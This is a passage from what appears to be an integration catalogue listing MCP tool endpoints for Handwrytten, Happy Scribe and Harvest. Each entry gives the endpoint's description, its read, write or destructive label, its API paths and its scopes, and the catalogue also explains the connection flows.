Handwrytten GET /v2/profile/recipientsList. GET /api/v1/handwrytten/profile/recipientsList. Scopes: api. handwrytten_get_profile_signatures (read) — Returns the list of signatures available to the user. Signature IDs can be used in order calls to include a signature in the message or wishes fields. Handwrytten GET /v2/profile/signatures. GET /api/v1/handwrytten/profile/signatures. Scopes: api. handwrytten_get_qrcode (read) — Get a list of QR Codes on the account. Handwrytten GET /v2/qrCode. GET /api/v1/handwrytten/qrCode. Scopes: api. handwrytten_get_qrcode_dashboard (read) — Get the statistics for the QR Codes on the account. Handwrytten GET /v2/qrCode/dashboard. GET /api/v1/handwrytten/qrCode/dashboard. Scopes: api. handwrytten_get_qrcode_frames (read) — Get a list of available QR Code frames. Handwrytten GET /v2/qrCode/frames. GET /api/v1/handwrytten/qrCode/frames. Scopes: api. handwrytten_get_shipping_stampoptions (read) — Returns the list of available stamp options. The `id` field is what's passed as `stamp_option_id` on order calls. Stamp options apply to US orders; the field is ignored for international destinations. Handwrytten GET /v2/shipping/stampOptions. GET /api/v1/handwrytten/shipping/stampOptions. Scopes: api. handwrytten_post_auth_settestmode (write) — Switches test mode on or off for the user associated with the API key. Pass `1` to enable test mode or `0` to return to live mode. In test mode, orders are accepted and processed normally but are not fulfilled. Handwrytten POST /v2/auth/setTestMode. POST /api/v1/handwrytten/auth/setTestMode. Scopes: api. handwrytten_post_basket_clear (write) — Removes all items from the basket. Returns the list of items that were cleared. Handwrytten POST /v2/basket/clear. POST /api/v1/handwrytten/basket/clear. Scopes: api. handwrytten_post_basket_send (write) — Submits all orders currently in the basket for processing. Credits are applied first; if the order total exceeds the available credit balance, the remainder is charged to the credit card on file or the one provided in the request. Handwrytten POST /v2/basket/send. POST /api/v1/handwrytten/basket/send. Scopes: api. handwrytten_post_cards_checkuploadedcustomlogo (write) — Validates the print quality of an uploaded image. Returns a warning if the image resolution is below recommended, or an error if it is too low to use. Call this after uploading a cover image to catch quality issues before creating a card. Handwrytten POST /v2/cards/checkUploadedCustomLogo. POST /api/v1/handwrytten/cards/checkUploadedCustomLogo. Scopes: api. handwrytten_post_cards_createcustomcard (write) — Creates a custom card using previously uploaded images and configuration. Use `dimension_id` to select the card size and format — see /cards/listDimensions for available options. Flat cards (e.g. dimension_id 1) have a front and back surface. Foldable cards (e.g. Handwrytten POST /v2/cards/createCustomCard. POST /api/v1/handwrytten/cards/createCustomCard. Scopes: api. handwrytten_post_cards_deletecustomlogo (write) — Delete a custom uploaded image. Handwrytten POST /v2/cards/deleteCustomLogo. POST /api/v1/handwrytten/cards/deleteCustomLogo. Scopes: api. handwrytten_post_design_delete (write) — Deletes a custom card created by the user. Handwrytten POST /v2/design/delete. POST /api/v1/handwrytten/design/delete. Scopes: api. handwrytten_post_orders_cancel (write) — Cancel order by order id. Only orders with status `paid` can be canceled. Orders that have already been processed cannot be canceled and will return 400 error. Handwrytten POST /v2/orders/cancel. POST /api/v1/handwrytten/orders/cancel. Scopes: api. handwrytten_post_orders_placebasket (write) — Adds an order to the basket without submitting. Supports both single and bulk recipients. Once all orders are added, call `/basket/send` to process payment and submit the orders. Handwrytten POST /v2/orders/placeBasket. POST /api/v1/handwrytten/orders/placeBasket. Scopes: api. handwrytten_post_orders_singlesteporder (write) — Creates and submits a complete order in a single API call. This is the most commonly used endpoint — for most integrations, it's the only one you'll need. Requires an API key in the `Authorization` header. See the [Integrations](https://app.handwrytten.com/integrations) page in your dashboard to generate one. Handwrytten POST /v2/orders/singleStepOrder. POST /api/v1/handwrytten/orders/singleStepOrder. Scopes: api. handwrytten_post_outbound_addtobasket (write) — Add prospecting campaign order to basket. Use `Send Basket` call to submit all orders in basket for processing. Handwrytten POST /v2/outbound/addToBasket. POST /api/v1/handwrytten/outbound/addToBasket. Scopes: api. handwrytten_post_outbound_calctargets (write) — Calculate targets for prospecting campaign. Handwrytten POST /v2/outbound/calcTargets. POST /api/v1/handwrytten/outbound/calcTargets. Scopes: api. handwrytten_post_outbound_process (write) — Preview prospecting campaign order pricing. Handwrytten POST /v2/outbound/process. POST /api/v1/handwrytten/outbound/process. Scopes: api. handwrytten_post_profile_addrecipient (write) — Add a new recipient address to user's Address Book. Handwrytten POST /v2/profile/addRecipient. POST /api/v1/handwrytten/profile/addRecipient. Scopes: api. handwrytten_post_profile_createaddress (write) — Add a new sender address to user's Address Book. Handwrytten POST /v2/profile/createAddress. POST /api/v1/handwrytten/profile/createAddress. Scopes: api. handwrytten_post_profile_deleteaddress (write) — Delete a sender address from user's Address Book. Handwrytten POST /v2/profile/deleteAddress. POST /api/v1/handwrytten/profile/deleteAddress. Scopes: api. handwrytten_post_profile_deleterecipient (write) — Delete Recipient Address. Handwrytten POST /v2/profile/deleteRecipient. POST /api/v1/handwrytten/profile/deleteRecipient. Scopes: api. handwrytten_post_profile_setdefaultaddress (write) — Set user's default sender address. Handwrytten POST /v2/profile/setDefaultAddress. POST /api/v1/handwrytten/profile/setDefaultAddress. Scopes: api. handwrytten_post_profile_updaterecipient (write) — Update a recipient address in Address Book. Handwrytten POST /v2/profile/updateRecipient. POST /api/v1/handwrytten/profile/updateRecipient. Scopes: api. handwrytten_post_qrcode (write) — Create a new QR Code. Handwrytten POST /v2/qrCode. POST /api/v1/handwrytten/qrCode. Scopes: api. handwrytten_put_profile_updateaddress (write) — Update a sender address in user's Address Book. Handwrytten PUT /v2/profile/updateAddress. PUT /api/v1/handwrytten/profile/updateAddress. Scopes: api. ================================================================================ ## Happy Scribe URL: https://www.agenticfabriq.com/integrations/happyscribe Section: Integrated Tools Happy Scribe — 33 MCP tools Provider key: happyscribe. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. happyscribe_delete_conversations_by_id (write, destructive) — Move a conversation to the workspace trash, or delete it irrecoverably with `permanent=true` via DELETE /api/v1/conversations/{id} DELETE /api/v1/happyscribe/conversations/{id}. Scopes: api. happyscribe_delete_organization_memberships_by_id (write, destructive) — Remove a member from an organization, revoking their access to its workspaces via DELETE /api/v1/organization_memberships/{id} DELETE /api/v1/happyscribe/organization_memberships/{id}. Scopes: api. happyscribe_delete_workspaces_by_id (write, destructive) — Archive a workspace, removing it from the connected user's active workspaces via DELETE /api/v1/workspaces/{id} DELETE /api/v1/happyscribe/workspaces/{id}. Scopes: api. happyscribe_get_companies (read) — List the companies a workspace knows, searchable by name or domain via GET /api/v1/companies GET /api/v1/happyscribe/companies. Scopes: api. happyscribe_get_companies_by_id (read) — Read one company's enriched profile: domains, industry, headcount, funding and location via GET /api/v1/companies/{id} GET /api/v1/happyscribe/companies/{id}. Scopes: api. happyscribe_get_consent_events (read) — List a workspace's recording-consent events -- who was notified, and who accepted, declined, revoked or requested deletion via GET /api/v1/consent_events GET /api/v1/happyscribe/consent_events. Scopes: api. happyscribe_get_consent_events_by_id (read) — Read one recording-consent event via GET /api/v1/consent_events/{id} GET /api/v1/happyscribe/consent_events/{id}. Scopes: api. happyscribe_get_conversations (read) — List a workspace's conversations -- transcriptions, subtitles, translations and meeting recordings -- filtered by folder, tags, person or company via GET /api/v1/conversations GET /api/v1/happyscribe/conversations. Scopes: api. happyscribe_get_conversations_by_id (read) — Read one conversation with its media links, speakers, tags, state and the people and companies it mentions via GET /api/v1/conversations/{id} GET /api/v1/happyscribe/conversations/{id}. Scopes: api. happyscribe_get_conversations_by_id_summary (read) — Read the AI summary of a conversation: prose, markdown, sections and action items via GET /api/v1/conversations/{id}/summary GET /api/v1/happyscribe/conversations/{id}/summary. Scopes: api. happyscribe_get_exports_by_id (read) — Read an export's state and its download link once it is ready via GET /api/v1/exports/{id} GET /api/v1/happyscribe/exports/{id}. Scopes: api. happyscribe_get_glossaries (read) — List a workspace's glossaries, whose ids can be applied to an order or to a notetaker via GET /api/v1/glossaries GET /api/v1/happyscribe/glossaries. Scopes: api. happyscribe_get_meeting_bots_by_id (read) — Read a notetaker's status, consent record, participants, transcript, summary and action items via GET /api/v1/meeting_bots/{id} GET /api/v1/happyscribe/meeting_bots/{id}. Scopes: api. happyscribe_get_orders_by_id (read) — Read one transcription, subtitle or translation order with its state, its media ingestions and the ids of the conversations it produced via GET /api/v1/orders/{id} GET /api/v1/happyscribe/orders/{id}. Scopes: api. happyscribe_get_organization_memberships (read) — List an organization's members, filtered by role, email or name via GET /api/v1/organization_memberships GET /api/v1/happyscribe/organization_memberships. Scopes: api. happyscribe_get_people (read) — List the people a workspace knows from its meetings and transcripts, searchable by name, email or company via GET /api/v1/people GET /api/v1/happyscribe/people. Scopes: api. happyscribe_get_people_by_id (read) — Read one person's enriched profile: name, job title, seniority, emails and company via GET /api/v1/people/{id} GET /api/v1/happyscribe/people/{id}. Scopes: api. happyscribe_get_style_guides (read) — List a workspace's style guides, whose ids can be applied to an order via GET /api/v1/style_guides GET /api/v1/happyscribe/style_guides. Scopes: api. happyscribe_get_uploads_new (read) — Request a signed S3 URL for one media file; PUT the file to that URL, then pass the same URL as the media `url` on a transcription or subtitle order via GET /api/v1/uploads/new GET /api/v1/happyscribe/uploads/new. Scopes: api. happyscribe_get_workspaces (read) — List every workspace the connected user belongs to, with their role and the workspace's transcription entitlements -- the call that supplies the `workspace_id` most other tools take via GET /api/v1/workspaces GET /api/v1/happyscribe/workspaces. Scopes: api. happyscribe_get_workspaces_by_id_brand_kit (read) — Read the branding a workspace applies to its notetaker avatar and its participant summary emails via GET /api/v1/workspaces/{id}/brand_kit GET /api/v1/happyscribe/workspaces/{id}/brand_kit. Scopes: api. happyscribe_patch_conversations_by_id (write) — Rename a conversation, move it to another folder in the same workspace, or turn "anyone with the link" sharing on or off via PATCH /api/v1/conversations/{id} PATCH /api/v1/happyscribe/conversations/{id}. Scopes: api. happyscribe_patch_organization_memberships_by_id (write) — Move a member between the `admin` and `member` roles via PATCH /api/v1/organization_memberships/{id} PATCH /api/v1/happyscribe/organization_memberships/{id}. Scopes: api. happyscribe_patch_workspaces_by_id (write) — Change a workspace's name via PATCH /api/v1/workspaces/{id} PATCH /api/v1/happyscribe/workspaces/{id}. Scopes: api. happyscribe_patch_workspaces_by_id_brand_kit (write) — Change the branding a workspace applies to its notetaker avatar and its participant summary emails via PATCH /api/v1/workspaces/{id}/brand_kit PATCH /api/v1/happyscribe/workspaces/{id}/brand_kit. Scopes: api. happyscribe_post_exports (write) — Export one or more conversations into a document, subtitle, editing-timeline or media format and get a download link via POST /api/v1/exports POST /api/v1/happyscribe/exports. Scopes: api. happyscribe_post_meeting_bots (write) — Send the HappyScribe notetaker to a meeting URL now or at `join_at`, with per-meeting recording, consent and branding settings via POST /api/v1/meeting_bots POST /api/v1/happyscribe/meeting_bots. Scopes: api. happyscribe_post_orders_by_id_confirm (write) — Submit an order created with `confirm: false` and still `incomplete`, which starts the work and the billing for it via POST /api/v1/orders/{id}/confirm POST /api/v1/happyscribe/orders/{id}/confirm. Scopes: api. happyscribe_post_organization_memberships (write) — Add a user to an organization by email with a role, or invite them when they have no HappyScribe account yet via POST /api/v1/organization_memberships POST /api/v1/happyscribe/organization_memberships. Scopes: api. happyscribe_post_subtitle (write) — Create a subtitle order for a publicly reachable media URL, machine-made (`auto`) or human-made (`pro`) via POST /api/v1/subtitle POST /api/v1/happyscribe/subtitle. Scopes: api. happyscribe_post_transcribe (write) — Create a transcription order for a publicly reachable media URL in one language, machine-made (`auto`) or human-made (`pro`) via POST /api/v1/transcribe POST /api/v1/happyscribe/transcribe. Scopes: api. happyscribe_post_translate (write) — Translate an existing conversation into one or more target languages, by machine (`auto`) or by a human translator (`pro`) via POST /api/v1/translate POST /api/v1/happyscribe/translate. Scopes: api. happyscribe_post_workspaces (write) — Create a workspace owned by the connected user via POST /api/v1/workspaces POST /api/v1/happyscribe/workspaces. Scopes: api. ================================================================================ ## Harvest URL: https://www.agenticfabriq.com/integrations/harvest Section: Integrated Tools Harvest — 146 MCP tools Provider key: harvest. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. harvest_delete_v2_clients_by_client_id (write, destructive) — Delete a client. Deleting a client is only possible if it has no projects, invoices, or estimates associated with it. Returns a 200 OK response code if the call succeeded. via DELETE /v2/clients/{CLIENT_ID} DELETE /api/v1/harvest/clients/{CLIENT_ID}. Scopes: api. harvest_delete_v2_contacts_by_contact_id (write, destructive) — Delete a contact. Returns a 200 OK response code if the call succeeded. via DELETE /v2/contacts/{CONTACT_ID} DELETE /api/v1/harvest/contacts/{CONTACT_ID}. Scopes: api. harvest_delete_v2_estimate_item_categories_by_estimate_item_category_id (write, destructive) — Delete an estimate item category. Returns a 200 OK response code if the call succeeded. via DELETE /v2/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID} DELETE /api/v1/harvest/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID}. Scopes: api. harvest_delete_v2_estimates_by_estimate_id (write, destructive) — Delete an estimate. Returns a 200 OK response code if the call succeeded. via DELETE /v2/estimates/{ESTIMATE_ID} DELETE /api/v1/harvest/estimates/{ESTIMATE_ID}. Scopes: api. harvest_delete_v2_estimates_by_estimate_id_messages_by_message_id (write, destructive) — Delete an estimate message. Returns a 200 OK response code if the call succeeded. via DELETE /v2/estimates/{estimate_ID}/messages/{message_ID} DELETE /api/v1/harvest/estimates/{estimate_ID}/messages/{message_ID}. Scopes: api. harvest_delete_v2_expense_categories_by_expense_category_id (write, destructive) — Delete an expense category. Returns a 200 OK response code if the call succeeded. via DELETE /v2/expense_categories/{EXPENSE_CATEGORY_ID} DELETE /api/v1/harvest/expense_categories/{EXPENSE_CATEGORY_ID}. Scopes: api. harvest_delete_v2_expenses_by_expense_id (write, destructive) — Delete an expense. Returns a 200 OK response code if the call succeeded. via DELETE /v2/expenses/{EXPENSE_ID} DELETE /api/v1/harvest/expenses/{EXPENSE_ID}. Scopes: api. harvest_delete_v2_invoice_item_categories_by_invoice_item_category_id (write, destructive) — Delete an invoice item category. Deleting an invoice item category is only possible if use_as_service and use_as_expense are both false. Returns a 200 OK response code if the call succeeded. via DELETE /v2/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID} DELETE /api/v1/harvest/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID}. Scopes: api. harvest_delete_v2_invoices_by_invoice_id (write, destructive) — Delete an invoice. Returns a 200 OK response code if the call succeeded. via DELETE /v2/invoices/{INVOICE_ID} DELETE /api/v1/harvest/invoices/{INVOICE_ID}. Scopes: api. harvest_delete_v2_invoices_by_invoice_id_messages_by_message_id (write, destructive) — Delete an invoice message. Returns a 200 OK response code if the call succeeded. via DELETE /v2/invoices/{INVOICE_ID}/messages/{message_ID} DELETE /api/v1/harvest/invoices/{INVOICE_ID}/messages/{message_ID}. Scopes: api. harvest_delete_v2_invoices_by_invoice_id_payments_by_payment_id (write, destructive) — Delete an invoice payment. Returns a 200 OK response code if the call succeeded. via DELETE /v2/invoices/{INVOICE_ID}/payments/{PAYMENT_ID} DELETE /api/v1/harvest/invoices/{INVOICE_ID}/payments/{PAYMENT_ID}. Scopes: api. harvest_delete_v2_projects_by_project_id (write, destructive) — Deletes a project and any time entries or expenses tracked to it. However, invoices associated with the project will not be deleted. If you don’t want the project’s time entries and expenses to be deleted, you should archive the project instead. via DELETE /v2/projects/{PROJECT_ID} DELETE /api/v1/harvest/projects/{PROJECT_ID}. Scopes: api. harvest_delete_v2_projects_by_project_id_task_assignments_by_task_assignment_id (write, destructive) — Delete a task assignment. Deleting a task assignment is only possible if it has no time entries associated with it. Returns a 200 OK response code if the call succeeded. via DELETE /v2/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID} DELETE /api/v1/harvest/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID}. Scopes: api. harvest_delete_v2_projects_by_project_id_user_assignments_by_user_assignment_id (write, destructive) — Delete a user assignment. Deleting a user assignment is only possible if it has no time entries or expenses associated with it. Returns a 200 OK response code if the call succeeded. via DELETE /v2/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID} DELETE /api/v1/harvest/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID}. Scopes: api. harvest_delete_v2_pto_holiday_calendars_by_holiday_calendar_id (write, destructive) — Deletes a holiday calendar. Returns a 200 OK response code and the deleted holiday calendar object. Only administrators can perform this action. via DELETE /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID} DELETE /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}. Scopes: api. harvest_delete_v2_pto_holiday_calendars_by_holiday_calendar_id_entries_by_entry_id (write, destructive) — Deletes a holiday calendar entry. Returns a 200 OK response code and the deleted holiday entry object. Only administrators can perform this action. via DELETE /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries/{ENTRY_ID} DELETE /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries/{ENTRY_ID}. Scopes: api. harvest_delete_v2_pto_requests_by_pto_request_id (write, destructive) — Cancels a time off request. The request is not deleted from Harvest; instead, its status is updated to cancelled and it remains visible in request listings. Returns a 200 OK response code and the cancelled time off request object. via DELETE /v2/pto/requests/{PTO_REQUEST_ID} DELETE /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}. Scopes: api. harvest_delete_v2_pto_types_by_pto_type_id (write, destructive) — Deletes or deactivates an existing time off policy. By default, time off policies are deactivated rather than permanently deleted so historical requests and allocations remain preserved. Returns a 200 OK response code and the deactivated time off policy object with is_active set to false . To permanently delete a policy along with all of its associated requests and historical data, pass keep_history=false and confirm_delete_history=1 . A successful permanent deletion returns a 204 No Content response code. A policy cannot be permanently deleted if it is the only remaining policy in the company or if it has requests included in locked payroll. Only administrators can perform this action. via DELETE /v2/pto/types/{PTO_TYPE_ID} DELETE /api/v1/harvest/pto/types/{PTO_TYPE_ID}. Scopes: api. harvest_delete_v2_pto_work_schedules_by_work_schedule_id (write, destructive) — Deactivates a non-default work schedule. Returns a 200 OK response code and the deactivated work schedule object with is_active set to false . Only administrators can perform this action. via DELETE /v2/pto/work_schedules/{WORK_SCHEDULE_ID} DELETE /api/v1/harvest/pto/work_schedules/{WORK_SCHEDULE_ID}. Scopes: api. harvest_delete_v2_roles_by_role_id (write, destructive) — Delete a role. Deleting a role will unlink it from any users it was assigned to. Returns a 200 OK response code if the call succeeded. via DELETE /v2/roles/{ROLE_ID} DELETE /api/v1/harvest/roles/{ROLE_ID}. Scopes: api. harvest_delete_v2_tasks_by_task_id (write, destructive) — Delete a task. Deleting a task is only possible if it has no time entries associated with it. Returns a 200 OK response code if the call succeeded. via DELETE /v2/tasks/{TASK_ID} DELETE /api/v1/harvest/tasks/{TASK_ID}. Scopes: api. harvest_delete_v2_time_entries_by_time_entry_id (write, destructive) — Delete a time entry. Deleting a time entry is only possible if it’s not closed and the associated project and task haven’t been archived. However, Admins can delete closed entries. Returns a 200 OK response code if the call succeeded. via DELETE /v2/time_entries/{TIME_ENTRY_ID} DELETE /api/v1/harvest/time_entries/{TIME_ENTRY_ID}. Scopes: api. harvest_delete_v2_time_entries_by_time_entry_id_external_reference (write, destructive) — Delete a time entry’s external reference. Returns a 200 OK response code if the call succeeded. via DELETE /v2/time_entries/{TIME_ENTRY_ID}/external_reference DELETE /api/v1/harvest/time_entries/{TIME_ENTRY_ID}/external_reference. Scopes: api. harvest_delete_v2_users_by_user_id (write, destructive) — Delete a user. Deleting a user is only possible if they have no time entries or expenses associated with them. Returns a 200 OK response code if the call succeeded. via DELETE /v2/users/{USER_ID} DELETE /api/v1/harvest/users/{USER_ID}. Scopes: api. harvest_get_api_v2_accounts (read) — List the Harvest and Forecast accounts this credential can act in, with the id that every api.harvestapp.com request must send in its Harvest-Account-Id header. Answered by Harvest ID, and the one call that needs no account header via GET /api/v2/accounts GET /api/v1/harvest/id/accounts. Scopes: api. harvest_get_v2_clients (read) — Returns a list of your clients. The clients are returned sorted by creation date, with the most recently created clients appearing first. The response contains an object with a clients property that contains an array of up to per_page clients. Each entry in the array is a separate client object. If no more clients are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your clients. via GET /v2/clients GET /api/v1/harvest/clients. Scopes: api. harvest_get_v2_clients_by_client_id (read) — Retrieves the client with the given ID. Returns a client object and a 200 OK response code if a valid identifier was provided. via GET /v2/clients/{CLIENT_ID} GET /api/v1/harvest/clients/{CLIENT_ID}. Scopes: api. harvest_get_v2_company (read) — Retrieves the company for the currently authenticated user. Returns a company object and a 200 OK response code. via GET /v2/company GET /api/v1/harvest/company. Scopes: api. harvest_get_v2_contacts (read) — Returns a list of your contacts. The contacts are returned sorted by creation date, with the most recently created contacts appearing first. The response contains an object with a contacts property that contains an array of up to per_page contacts. Each entry in the array is a separate contact object. If no more contacts are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your contacts. via GET /v2/contacts GET /api/v1/harvest/contacts. Scopes: api. harvest_get_v2_contacts_by_contact_id (read) — Retrieves the contact with the given ID. Returns a contact object and a 200 OK response code if a valid identifier was provided. via GET /v2/contacts/{CONTACT_ID} GET /api/v1/harvest/contacts/{CONTACT_ID}. Scopes: api. harvest_get_v2_estimate_item_categories (read) — Returns a list of your estimate item categories. The estimate item categories are returned sorted by creation date, with the most recently created estimate item categories appearing first. The response contains an object with a estimate_item_categories property that contains an array of up to per_page estimate item categories. Each entry in the array is a separate estimate item category object. If no more estimate item categories are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your estimate item categories. via GET /v2/estimate_item_categories GET /api/v1/harvest/estimate_item_categories. Scopes: api. harvest_get_v2_estimate_item_categories_by_estimate_item_category_id (read) — Retrieves the estimate item category with the given ID. Returns an estimate item category object and a 200 OK response code if a valid identifier was provided. via GET /v2/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID} GET /api/v1/harvest/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID}. Scopes: api. harvest_get_v2_estimates (read) — Returns a list of your estimates. The estimates are returned sorted by issue date, with the most recently issued estimates appearing first. The response contains an object with a estimates property that contains an array of up to per_page estimates. Each entry in the array is a separate estimate object. If no more estimates are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your estimates. via GET /v2/estimates GET /api/v1/harvest/estimates. Scopes: api. harvest_get_v2_estimates_by_estimate_id (read) — Retrieves the estimate with the given ID. Returns an estimate object and a 200 OK response code if a valid identifier was provided. via GET /v2/estimates/{ESTIMATE_ID} GET /api/v1/harvest/estimates/{ESTIMATE_ID}. Scopes: api. harvest_get_v2_estimates_by_estimate_id_messages (read) — Returns a list of messages associated with a given estimate. The estimate messages are returned sorted by creation date, with the most recently created messages appearing first. The response contains an object with an estimate_messages property that contains an array of up to per_page messages. Each entry in the array is a separate message object. If no more messages are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your messages. via GET /v2/estimates/{estimate_ID}/messages GET /api/v1/harvest/estimates/{estimate_ID}/messages. Scopes: api. harvest_get_v2_expense_categories (read) — Returns a list of your expense categories. The expense categories are returned sorted by creation date, with the most recently created expense categories appearing first. The response contains an object with a expense_categories property that contains an array of up to per_page expense categories. Each entry in the array is a separate expense category object. If no more expense categories are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your expense categories. via GET /v2/expense_categories GET /api/v1/harvest/expense_categories. Scopes: api. harvest_get_v2_expense_categories_by_expense_category_id (read) — Retrieves the expense category with the given ID. Returns an expense category object and a 200 OK response code if a valid identifier was provided. via GET /v2/expense_categories/{EXPENSE_CATEGORY_ID} GET /api/v1/harvest/expense_categories/{EXPENSE_CATEGORY_ID}. Scopes: api. harvest_get_v2_expenses (read) — Returns a list of your expenses. If accessing this endpoint as an Administrator, all expenses in the account will be returned. If accessing this endpoint as a Manager, all expenses for assigned teammates and managed projects will be returned. The expenses are returned sorted by the spent_at date, with the most recent expenses appearing first. The response contains an object with a expenses property that contains an array of up to per_page expenses. Each entry in the array is a separate expense object. If no more expenses are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your expenses. via GET /v2/expenses GET /api/v1/harvest/expenses. Scopes: api. harvest_get_v2_expenses_by_expense_id (read) — Retrieves the expense with the given ID. Returns an expense object and a 200 OK response code if a valid identifier was provided. via GET /v2/expenses/{EXPENSE_ID} GET /api/v1/harvest/expenses/{EXPENSE_ID}. Scopes: api. harvest_get_v2_invoice_item_categories (read) — Returns a list of your invoice item categories. The invoice item categories are returned sorted by creation date, with the most recently created invoice item categories appearing first. The response contains an object with a invoice_item_categories property that contains an array of up to per_page invoice item categories. Each entry in the array is a separate invoice item category object. If no more invoice item categories are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your invoice item categories. via GET /v2/invoice_item_categories GET /api/v1/harvest/invoice_item_categories. Scopes: api. harvest_get_v2_invoice_item_categories_by_invoice_item_category_id (read) — Retrieves the invoice item category with the given ID. Returns an invoice item category object and a 200 OK response code if a valid identifier was provided. via GET /v2/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID} GET /api/v1/harvest/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID}. Scopes: api. harvest_get_v2_invoices (read) — Returns a list of your invoices. The invoices are returned sorted by issue date, with the most recently issued invoices appearing first. The response contains an object with a invoices property that contains an array of up to per_page invoices. Each entry in the array is a separate invoice object. If no more invoices are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your invoices. via GET /v2/invoices GET /api/v1/harvest/invoices. Scopes: api. harvest_get_v2_invoices_by_invoice_id (read) — Retrieves the invoice with the given ID. Returns an invoice object and a 200 OK response code if a valid identifier was provided. via GET /v2/invoices/{INVOICE_ID} GET /api/v1/harvest/invoices/{INVOICE_ID}. Scopes: api. harvest_get_v2_invoices_by_invoice_id_messages (read) — Returns a list of messages associated with a given invoice. The invoice messages are returned sorted by creation date, with the most recently created messages appearing first. The response contains an object with an invoice_messages property that contains an array of up to per_page messages. Each entry in the array is a separate message object. If no more messages are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your messages. via GET /v2/invoices/{INVOICE_ID}/messages GET /api/v1/harvest/invoices/{INVOICE_ID}/messages. Scopes: api. harvest_get_v2_invoices_by_invoice_id_messages_new (read) — Returns the subject and body text as configured in Harvest of an invoice message for a specific invoice and a 200 OK response code if the call succeeded. Does not create the invoice message. If no parameters are passed, will return the subject and body of a general invoice message for the specific invoice. via GET /v2/invoices/{INVOICE_ID}/messages/new GET /api/v1/harvest/invoices/{INVOICE_ID}/messages/new. Scopes: api. harvest_get_v2_invoices_by_invoice_id_payments (read) — Returns a list of payments associate with a given invoice. The payments are returned sorted by creation date, with the most recently created payments appearing first. The response contains an object with an invoice_payments property that contains an array of up to per_page payments. Each entry in the array is a separate payment object. If no more payments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your payments. via GET /v2/invoices/{INVOICE_ID}/payments GET /api/v1/harvest/invoices/{INVOICE_ID}/payments. Scopes: api. harvest_get_v2_projects (read) — Returns a list of your projects. The projects are returned sorted by creation date, with the most recently created projects appearing first. The response contains an object with a projects property that contains an array of up to per_page projects. Each entry in the array is a separate project object. If no more projects are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your projects. via GET /v2/projects GET /api/v1/harvest/projects. Scopes: api. harvest_get_v2_projects_by_project_id (read) — Retrieves the project with the given ID. Returns a project object and a 200 OK response code if a valid identifier was provided. via GET /v2/projects/{PROJECT_ID} GET /api/v1/harvest/projects/{PROJECT_ID}. Scopes: api. harvest_get_v2_projects_by_project_id_task_assignments (read) — Returns a list of your task assignments for the project identified by PROJECT_ID . The task assignments are returned sorted by creation date, with the most recently created task assignments appearing first. The response contains an object with a task_assignments property that contains an array of up to per_page task assignments. Each entry in the array is a separate task assignment object. If no more task assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your task assignments. via GET /v2/projects/{PROJECT_ID}/task_assignments GET /api/v1/harvest/projects/{PROJECT_ID}/task_assignments. Scopes: api. harvest_get_v2_projects_by_project_id_task_assignments_by_task_assignment_id (read) — Retrieves the task assignment with the given ID. Returns a task assignment object and a 200 OK response code if a valid identifier was provided. via GET /v2/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID} GET /api/v1/harvest/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID}. Scopes: api. harvest_get_v2_projects_by_project_id_user_assignments (read) — Returns a list of user assignments for the project identified by PROJECT_ID . The user assignments are returned sorted by creation date, with the most recently created user assignments appearing first. The response contains an object with a user_assignments property that contains an array of up to per_page user assignments. Each entry in the array is a separate user assignment object. If no more user assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your user assignments. via GET /v2/projects/{PROJECT_ID}/user_assignments GET 